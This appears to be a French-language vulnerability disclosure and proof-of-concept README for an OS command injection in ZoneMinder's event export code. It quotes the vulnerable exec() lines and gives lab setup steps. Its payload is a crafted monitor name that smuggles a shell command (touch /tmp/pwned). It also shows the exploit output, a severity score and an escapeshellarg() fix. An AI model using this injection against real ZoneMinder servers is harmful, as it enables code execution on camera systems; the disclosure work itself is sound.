
CVE-2026-76060 PoC pour une vulnérabilité ZoneMinder menant à une RCE
Preuve de concept pour une vulnérabilité d'injection de commandes OS dans la fonctionnalité d'exportation d'événements de ZoneMinder (web/includes/download_functions.php).
Les noms de moniteurs sont interpolés directement dans les commandes shell en utilisant un encadrement manuel par guillemets simples au lieu de escapeshellarg(). Un attaquant capable de créer un moniteur peut injecter des commandes shell arbitraires qui s'exécutent en tant que www-data/l'utilisateur sous lequel le processus tourne lorsqu'un utilisateur déclenche une exportation d'événement.
44c5c3c du 4 octobre 2023 : c'est ici que le fichier download_functions.php a été introduit. Le message du commit est « Introduce new download mode that concats event videos into 1 file per monitor. » Le code vulnérable est présent ici, mais nécessitait qu'un administrateur crée d'abord le moniteur.2d49e93 du 2 janvier 2024 « Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones. » C'est ici que les choses changent un peu. Désormais, un utilisateur disposant uniquement de peut configurer le nom du moniteur pour l'attaque, et n'importe quel utilisateur disposant des droits d'exportation peut la déclencher.Monitors=CreateVersions concernées : >= 1.37.48 (contient les modifications de migration SQL) et <= 1.38.1 La branche 1.36.x n'est pas concernée.
Deux utilisateurs. Deux niveaux de privilèges. Un seul shell.
Monitors=Create ou Monitors=Edit s'il existe déjà un moniteur.L'enregistrement d'événement n'a pas besoin d'être créé manuellement. ZoneMinder est un système de caméras... il crée automatiquement les enregistrements d'événements lorsque les caméras tournent. Dans un déploiement en production, l'étape de configuration est : créer le moniteur, puis s'éloigner.
Le nom de moniteur non assaini atteint deux appels exec() distincts :
Ligne 126 | ffmpeg :
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Ligne 150 | tar/zip :
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Les deux sont atteignables à partir du même nom de moniteur soigneusement conçu, quel que soit le format d'exportation.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py
init.sql initialise la base de données avec l'authentification activée et deux utilisateurs :
medpriv avec les droits de création de moniteurs (et, pour des raisons de temps, également les droits de création d'événements, mais ce n'est pas nécessaire en production)lowpriv avec uniquement l'accès à l'exportation d'événementsuv run poc.py exécute la chaîne complète :
medpriv s'authentifie via l'API et crée un moniteur nommé poc'; touch /tmp/pwned; echo 'medpriv crée un enregistrement d'événement pour accélérer la démonstration (en production, ZoneMinder le fait automatiquement)lowpriv s'authentifie et déclenche une exportation d'événement/tmp/pwned dans le conteneur et affiche le résultatSortie attendue :
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (High) : AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
On peut débattre entre PR:L et PR:R, mais dans les deux cas, il s'agit d'une vulnérabilité d'exécution de code à distance de haute sévérité dans un projet open source largement utilisé. La surface d'attaque est assez étendue, et le fait que la gâchette puisse être actionnée par un utilisateur différent de celui qui configure le nom du moniteur ajoute une tournure intéressante à l'exploitabilité. Si l'on accepte PR:L, cela devient un 9.0 (Critical).
Dans tous les cas, au minimum, escapeshellarg() ne coûte rien.
b3a7c05[!NOTE] Corrigé dans les 12 heures suivant le signalement. Aucune reconnaissance de la part du mainteneur qu'il s'agit d'un problème de sécurité. Je ne suis pas d'accord
Appliquez escapeshellarg() aux deux points d'injection au minimum :
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
Les lignes 116 et 211 dans generateFileList() présentent le même schéma.
Découvert par (@investigato)
Analyse complète : scriptkittens.com